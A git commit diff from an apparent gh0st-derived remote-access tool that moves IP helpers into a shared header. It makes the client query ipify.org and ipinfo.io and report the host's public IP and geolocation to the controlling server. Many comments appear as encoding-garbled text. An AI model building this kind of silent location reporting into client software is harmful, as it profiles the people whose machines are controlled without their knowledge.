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fix: Showing wrong IP while using Reverse Proxy

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This commit is contained in:
yuanyuanxiang
2025-06-28 16:50:01 +08:00
parent 659f820fd1
commit 9aa5d589c4
11 changed files with 243 additions and 220 deletions
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1
client/ClientDll_vs2015.vcxproj
View File

@@ -190,6 +190,7 @@
<ClCompile Include="X264Encoder.cpp" /> <ClCompile Include="X264Encoder.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\common\location.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" /> <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" /> <ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" /> <ClInclude Include="AudioManager.h" />

18
client/LoginServer.cpp
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@@ -8,6 +8,7 @@
#include <NTSecAPI.h> #include <NTSecAPI.h>
#include "common/skCrypter.h" #include "common/skCrypter.h"
#include <common/iniFile.h> #include <common/iniFile.h>
#include <location.h>
// by ChatGPT // by ChatGPT
bool IsWindows11() { bool IsWindows11() {
@@ -284,6 +285,23 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0; strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
const char* id = isDefault ? masterHash.c_str() : conn.szFlag; const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16)); memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
iniFile cfg(CLIENT_PATH);
std::string loc = cfg.GetStr("settings", "location", "");
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
IPConverter cvt;
if (loc.empty()) {
std::string ip = cvt.getPublicIP();
if (pubIP.empty()) pubIP = ip;
loc = cvt.GetGeoLocation(pubIP);
cfg.SetStr("settings", "location", loc);
}
if (pubIP.empty()) {
pubIP = cvt.getPublicIP();
cfg.SetStr("settings", "public_ip", pubIP);
}
LoginInfor.AddReserved(loc.c_str());
LoginInfor.AddReserved(pubIP.c_str());
return LoginInfor; return LoginInfor;
} }

2
common/commands.h
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@@ -633,6 +633,8 @@ enum LOGIN_RES {
RES_INSTALL_INFO = 7, // <20><>װ<EFBFBD><D7B0>Ϣ RES_INSTALL_INFO = 7, // <20><>װ<EFBFBD><D7B0>Ϣ
RES_PROGRAM_BITS = 8, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB> RES_PROGRAM_BITS = 8, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
RES_EXPIRED_DATE = 9, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> RES_EXPIRED_DATE = 9, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
RES_CLIENT_LOC = 10, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
RES_CLIENT_PUBIP = 11, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ
RES_MAX, RES_MAX,
}; };

205
common/location.h Normal file
View File

@@ -0,0 +1,205 @@
#pragma once
#include <string>
#include <winsock2.h>
#include <iphlpapi.h>
#include <ws2tcpip.h>
#include <WinInet.h>
#include "logger.h"
#include "jsoncpp/json.h"
#ifndef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
#endif
#endif
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "Iphlpapi.lib")
inline void splitIpPort(const std::string& input, std::string& ip, std::string& port) {
size_t pos = input.find(':');
if (pos != std::string::npos) {
ip = input.substr(0, pos);
port = input.substr(pos + 1);
}
else {
ip = input;
port = "";
}
}
/**
* IPConverter: IP <20><><EFBFBD><EFBFBD><EFBFBD>࣬<EFBFBD><E0A3AC><EFBFBD>ڻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>IP<49><50><EFBFBD><EFBFBD>ȡIP<49><50>Ӧ<EFBFBD>ĵ<EFBFBD><C4B5><EFBFBD>λ<EFBFBD>õ<EFBFBD>.
* Ŀǰ<C4BF><C7B0>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><C3B9><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>API<50><49><EFBFBD>ɣ<EFBFBD><C9A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò<EFBFBD>ѯ<EFBFBD><D1AF>վ<EFBFBD><D5BE><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
*/
class IPConverter
{
public:
std::string IPtoAddress(const std::string& ip) { return "implement me"; }
/**
* <20>жϸ<D0B6><CFB8><EFBFBD><EFBFBD><EFBFBD> IP <20><>ַ<EFBFBD>Ƿ<EFBFBD><C7B7>Ǿ<EFBFBD><C7BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP
* @param ipAddress IP <20><>ַ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "192.168.1.1"<22><>
* @return <20><><EFBFBD><EFBFBD><EFBFBD>Ǿ<EFBFBD><C7BE><EFBFBD><EFBFBD><EFBFBD> IP<49><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD> true; <20><><EFBFBD>򷵻<EFBFBD> false
*/
bool IsPrivateIP(const std::string& ipAddress) {
// <20><> IP <20><>ַ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ת<EFBFBD><D7AA>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>Ƹ<EFBFBD>ʽ
in_addr addr;
if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) {
Mprintf("Invalid IP address: %s\n", ipAddress.c_str());
return false;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP <20><>ַת<D6B7><D7AA>Ϊ<EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
unsigned long ip = ntohl(addr.s_addr);
// <20><><EFBFBD><EFBFBD> IP <20><>ַ<EFBFBD>Ƿ<EFBFBD><C7B7>ھ<EFBFBD><DABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Χ<EFBFBD><CEA7>
if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8
(ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12
(ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16
(ip >= 0x7F000000 && ip <= 0x7FFFFFFF)) { // 127.0.0.0/8
return true;
}
return false;
}
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
std::string GetLocalLocation() {
return GetGeoLocation(getPublicIP());
}
// <20><>ȡ IP <20><>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>(<28><><EFBFBD><EFBFBD>[ipinfo.io])
std::string GetGeoLocation(const std::string& IP) {
if (IP.empty()) return "";
std::string ip = IP;
if (isLocalIP(ip)) {
ip = getPublicIP();
if (ip.empty())
return "";
}
HINTERNET hInternet, hConnect;
DWORD bytesRead;
std::string readBuffer;
// <20><>ʼ<EFBFBD><CABC> WinINet
hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
Mprintf("InternetOpen failed! %d\n", GetLastError());
return "";
}
// <20><><EFBFBD><EFBFBD> HTTP <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
std::string url = "http://ipinfo.io/" + ip + "/json";
hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL) {
Mprintf("InternetOpenUrlA failed! %d\n", GetLastError());
InternetCloseHandle(hInternet);
return "";
}
// <20><>ȡ<EFBFBD><C8A1><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
char buffer[4096];
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
readBuffer.append(buffer, bytesRead);
}
// <20><><EFBFBD><EFBFBD> JSON <20><>Ӧ
Json::Value jsonData;
Json::Reader jsonReader;
std::string location;
if (jsonReader.parse(readBuffer, jsonData)) {
std::string country = jsonData["country"].asString();
std::string city = jsonData["city"].asString();
std::string loc = jsonData["loc"].asString(); // <20><>γ<EFBFBD><CEB3><EFBFBD><EFBFBD>Ϣ
if (city.empty() && country.empty()) {
}
else if (city.empty()) {
location = country;
}
else if (country.empty()) {
location = city;
}
else {
location = city + ", " + country;
}
if (location.empty() && IsPrivateIP(ip)) {
location = "Local Area Network";
}
}
else {
Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str());
}
// <20>رվ<D8B1><D5BE><EFBFBD>
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return location;
}
bool isLoopbackAddress(const std::string& ip) {
return (ip == "127.0.0.1" || ip == "::1");
}
bool isLocalIP(const std::string& ip) {
if (isLoopbackAddress(ip)) return true; // <20>ȼ<EFBFBD><C8BC><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>ַ
ULONG outBufLen = 15000;
IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == ERROR_BUFFER_OVERFLOW) {
free(pAddresses);
pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
}
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == NO_ERROR) {
for (IP_ADAPTER_ADDRESSES* pCurrAddresses = pAddresses; pCurrAddresses; pCurrAddresses = pCurrAddresses->Next) {
for (IP_ADAPTER_UNICAST_ADDRESS* pUnicast = pCurrAddresses->FirstUnicastAddress; pUnicast; pUnicast = pUnicast->Next) {
char addressBuffer[INET6_ADDRSTRLEN] = { 0 };
getnameinfo(pUnicast->Address.lpSockaddr, pUnicast->Address.iSockaddrLength, addressBuffer, sizeof(addressBuffer), nullptr, 0, NI_NUMERICHOST);
if (ip == addressBuffer) {
free(pAddresses);
return true;
}
}
}
}
free(pAddresses);
return false;
}
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>IP, <20><>ȡʧ<C8A1>ܷ<EFBFBD><DCB7>ؿ<EFBFBD>
std::string getPublicIP() {
HINTERNET hInternet, hConnect;
DWORD bytesRead;
char buffer[1024] = { 0 };
hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) return "";
hConnect = InternetOpenUrl(hInternet, "https://api64.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);
if (!hConnect) {
InternetCloseHandle(hInternet);
return "";
}
InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return std::string(buffer);
}
};

18
server/2015Remote/2015RemoteDlg.cpp
View File

@@ -23,7 +23,7 @@
#include "InputDlg.h" #include "InputDlg.h"
#include "CPasswordDlg.h" #include "CPasswordDlg.h"
#include "pwd_gen.h" #include "pwd_gen.h"
#include "parse_ip.h" #include "common/location.h"
#include <proxy/ProxyMapDlg.h> #include <proxy/ProxyMapDlg.h>
#include "DateVerify.h" #include "DateVerify.h"
#include <fstream> #include <fstream>
@@ -597,7 +597,11 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
bool modify = false; bool modify = false;
CString loc = GetClientMapData(id, MAP_LOCATION); CString loc = GetClientMapData(id, MAP_LOCATION);
if (loc.IsEmpty()) { if (loc.IsEmpty()) {
loc = GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str(); loc = v[RES_CLIENT_LOC].c_str();
if (loc.IsEmpty()) {
IPConverter cvt;
loc = cvt.GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str();
}
if (!loc.IsEmpty()) { if (!loc.IsEmpty()) {
modify = true; modify = true;
SetClientMapData(id, MAP_LOCATION, loc); SetClientMapData(id, MAP_LOCATION, loc);
@@ -611,15 +615,16 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
if (modify) if (modify)
SaveToFile(m_ClientMap, GetDbPath()); SaveToFile(m_ClientMap, GetDbPath());
auto& m = m_ClientMap[ContextObject->ID]; auto& m = m_ClientMap[ContextObject->ID];
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), strIP); bool flag = strIP == "127.0.0.1" && !v[RES_CLIENT_PUBIP].empty();
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), flag ? v[RES_CLIENT_PUBIP].c_str() : strIP);
for (int n = ONLINELIST_ADDR; n <= ONLINELIST_CLIENTTYPE; n++) { for (int n = ONLINELIST_ADDR; n <= ONLINELIST_CLIENTTYPE; n++) {
n == ONLINELIST_COMPUTER_NAME ? n == ONLINELIST_COMPUTER_NAME ?
m_CList_Online.SetItemText(i, n, m.GetNote()[0] ? m.GetNote() : data[n]) : m_CList_Online.SetItemText(i, n, m.GetNote()[0] ? m.GetNote() : data[n]) :
m_CList_Online.SetItemText(i, n, data[n].IsEmpty() ? "?" : data[n]); m_CList_Online.SetItemText(i, n, data[n].IsEmpty() ? "?" : data[n]);
} }
m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject); m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject);
std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : "";
ShowMessage("操作成功",strIP+"主机上线"); ShowMessage("操作成功",strIP + tip.c_str() + "主机上线");
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
SendMasterSettings(ContextObject); SendMasterSettings(ContextObject);
@@ -835,7 +840,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
#else #else
SetTimer(TIMER_CHECK, 600 * 1000, NULL); SetTimer(TIMER_CHECK, 600 * 1000, NULL);
#endif #endif
CString tip = !ip.empty() && ip != getPublicIP() ? IPConverter cvt;
CString tip = !ip.empty() && ip != cvt.getPublicIP() ?
CString(ip.c_str()) + " 必须是\"公网IP\"或反向代理服务器IP": CString(ip.c_str()) + " 必须是\"公网IP\"或反向代理服务器IP":
"请设置\"公网IP\"，或使用反向代理服务器的IP"; "请设置\"公网IP\"，或使用反向代理服务器的IP";
ShowMessage("使用提示", tip); ShowMessage("使用提示", tip);

2
server/2015Remote/2015Remote_vs2015.vcxproj
View File

@@ -273,7 +273,6 @@
<ClInclude Include="InputDlg.h" /> <ClInclude Include="InputDlg.h" />
<ClInclude Include="IOCPServer.h" /> <ClInclude Include="IOCPServer.h" />
<ClInclude Include="KeyBoardDlg.h" /> <ClInclude Include="KeyBoardDlg.h" />
<ClInclude Include="parse_ip.h" />
<ClInclude Include="proxy\HPSocket.h" /> <ClInclude Include="proxy\HPSocket.h" />
<ClInclude Include="proxy\HPTypeDef.h" /> <ClInclude Include="proxy\HPTypeDef.h" />
<ClInclude Include="proxy\ProxyConnectServer.h" /> <ClInclude Include="proxy\ProxyConnectServer.h" />
@@ -337,7 +336,6 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader> <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
</ClCompile> </ClCompile>
<ClCompile Include="parse_ip.cpp" />
<ClCompile Include="proxy\ProxyConnectServer.cpp" /> <ClCompile Include="proxy\ProxyConnectServer.cpp" />
<ClCompile Include="proxy\ProxyMapDlg.cpp" /> <ClCompile Include="proxy\ProxyMapDlg.cpp" />
<ClCompile Include="pwd_gen.cpp"> <ClCompile Include="pwd_gen.cpp">

5
server/2015Remote/SettingDlg.cpp
View File

@@ -6,7 +6,7 @@
#include "SettingDlg.h" #include "SettingDlg.h"
#include "afxdialogex.h" #include "afxdialogex.h"
#include "client/CursorInfo.h" #include "client/CursorInfo.h"
#include "parse_ip.h" #include "common/location.h"
// CSettingDlg <20>Ի<EFBFBD><D4BB><EFBFBD> // CSettingDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
@@ -63,8 +63,9 @@ END_MESSAGE_MAP()
BOOL CSettingDlg::OnInitDialog() BOOL CSettingDlg::OnInitDialog()
{ {
CDialog::OnInitDialog(); CDialog::OnInitDialog();
IPConverter cvt;
m_sPublicIP = THIS_CFG.GetStr("settings", "master", "").c_str(); m_sPublicIP = THIS_CFG.GetStr("settings", "master", "").c_str();
m_sPublicIP = m_sPublicIP.IsEmpty() ? getPublicIP().c_str() : m_sPublicIP; m_sPublicIP = m_sPublicIP.IsEmpty() ? cvt.getPublicIP().c_str() : m_sPublicIP;
int nPort = THIS_CFG.GetInt("settings", "ghost"); int nPort = THIS_CFG.GetInt("settings", "ghost");
//<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD> //<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD>
int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection"); int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection");

167
server/2015Remote/parse_ip.cpp
View File

@@ -1,167 +0,0 @@
#include "stdafx.h"
#include "parse_ip.h"
#include <winsock2.h>
#include <iphlpapi.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Iphlpapi.lib")
/**
* 判断给定的 IP 地址是否是局域网（内网）IP
* @param ipAddress IP 地址字符串（如 "192.168.1.1"）
* @return 如果是局域网 IP，返回 true；否则返回 false
*/
bool IsPrivateIP(const std::string& ipAddress) {
// 将 IP 地址字符串转换为二进制格式
in_addr addr;
if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) {
Mprintf("Invalid IP address: %s\n", ipAddress.c_str());
return false;
}
// 将二进制 IP 地址转换为无符号整数
unsigned long ip = ntohl(addr.s_addr);
// 检查 IP 地址是否在局域网范围内
if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8
(ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12
(ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16
(ip >= 0x7F000000 && ip <= 0x7FFFFFFF)) { // 127.0.0.0/8
return true;
}
return false;
}
// 获取 IP 地址地理位置(基于[ipinfo.io])
std::string GetGeoLocation(const std::string& IP) {
std::string ip = IP;
if (isLocalIP(ip)) {
ip = getPublicIP();
if (ip.empty())
return "";
}
HINTERNET hInternet, hConnect;
DWORD bytesRead;
std::string readBuffer;
// 初始化 WinINet
hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
Mprintf("InternetOpen failed! %d\n", GetLastError());
return "";
}
// 创建 HTTP 请求句柄
std::string url = "http://ipinfo.io/" + ip + "/json";
hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL) {
Mprintf("InternetOpenUrlA failed! %d\n", GetLastError());
InternetCloseHandle(hInternet);
return "";
}
// 读取返回的内容
char buffer[4096];
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
readBuffer.append(buffer, bytesRead);
}
// 解析 JSON 响应
Json::Value jsonData;
Json::Reader jsonReader;
std::string location;
if (jsonReader.parse(readBuffer, jsonData)) {
std::string country = jsonData["country"].asString();
std::string city = jsonData["city"].asString();
std::string loc = jsonData["loc"].asString(); // 经纬度信息
if (city.empty() && country.empty()) {
}else if (city.empty()) {
location = country;
}else if (country.empty()) {
location = city;
}else {
location = city + ", " + country;
}
if (location.empty() && IsPrivateIP(ip)) {
location = "Local Area Network";
}
}
else {
Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str());
}
// 关闭句柄
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return location;
}
bool isLoopbackAddress(const std::string& ip) {
return (ip == "127.0.0.1" || ip == "::1");
}
bool isLocalIP(const std::string& ip) {
if (isLoopbackAddress(ip)) return true; // 先检查回环地址
ULONG outBufLen = 15000;
IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == ERROR_BUFFER_OVERFLOW) {
free(pAddresses);
pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
}
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == NO_ERROR) {
for (IP_ADAPTER_ADDRESSES* pCurrAddresses = pAddresses; pCurrAddresses; pCurrAddresses = pCurrAddresses->Next) {
for (IP_ADAPTER_UNICAST_ADDRESS* pUnicast = pCurrAddresses->FirstUnicastAddress; pUnicast; pUnicast = pUnicast->Next) {
char addressBuffer[INET6_ADDRSTRLEN] = { 0 };
getnameinfo(pUnicast->Address.lpSockaddr, pUnicast->Address.iSockaddrLength, addressBuffer, sizeof(addressBuffer), nullptr, 0, NI_NUMERICHOST);
if (ip == addressBuffer) {
free(pAddresses);
return true;
}
}
}
}
free(pAddresses);
return false;
}
// 获取公网IP, 获取失败返回空
std::string getPublicIP() {
HINTERNET hInternet, hConnect;
DWORD bytesRead;
char buffer[1024] = { 0 };
hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) return "";
hConnect = InternetOpenUrl(hInternet, "https://api64.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);
if (!hConnect) {
InternetCloseHandle(hInternet);
return "";
}
InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return std::string(buffer);
}
void splitIpPort(const std::string& input, std::string& ip, std::string& port) {
size_t pos = input.find(':');
if (pos != std::string::npos) {
ip = input.substr(0, pos);
port = input.substr(pos + 1);
}
else {
ip = input;
port = "";
}
}

37
server/2015Remote/parse_ip.h
View File

@@ -1,37 +0,0 @@
#pragma once
#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <string>
#include "jsoncpp/json.h"
#ifndef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
#endif
#endif
#pragma comment(lib, "wininet.lib")
// 获取 IP 地址地理位置
std::string GetGeoLocation(const std::string& ip);
// 是否为本机IP
bool isLocalIP(const std::string& ip);
// 获取本机公网IP, 获取失败返回空
std::string getPublicIP();
// 判断给定的 IP 地址是否是局域网（内网）IP
bool IsPrivateIP(const std::string& ipAddress);
void splitIpPort(const std::string& input, std::string& ip, std::string& port);

2
server/2015Remote/sys/MachineDlg.cpp
View File

@@ -531,7 +531,7 @@ void CMachineDlg::ShowNetStateList()
if (!IPAddress.Compare(_T("0.0.0.0")) || !IPAddress.Compare(_T("*.*.*.*"))) { if (!IPAddress.Compare(_T("0.0.0.0")) || !IPAddress.Compare(_T("*.*.*.*"))) {
str = _T("---"); str = _T("---");
} else { } else {
str = m_IPConverter->IPtoAddress(IPAddress); str = m_IPConverter->IPtoAddress(IPAddress.GetString()).c_str();
} }
m_list.SetItemText(i, j, str); m_list.SetItemText(i, j, str);
} }

6
server/2015Remote/sys/MachineDlg.h
View File

@@ -7,11 +7,7 @@
// CMachineDlg dialog // CMachineDlg dialog
// TODO: ʵ<><CAB5>IP<49><50>ȡ. // TODO: ʵ<><CAB5>IP<49><50>ȡ.
class IPConverter #include "common/location.h"
{
public:
CString IPtoAddress(const CString& ip) { return "implement me"; }
};
class CMachineDlg : public DialogBase class CMachineDlg : public DialogBase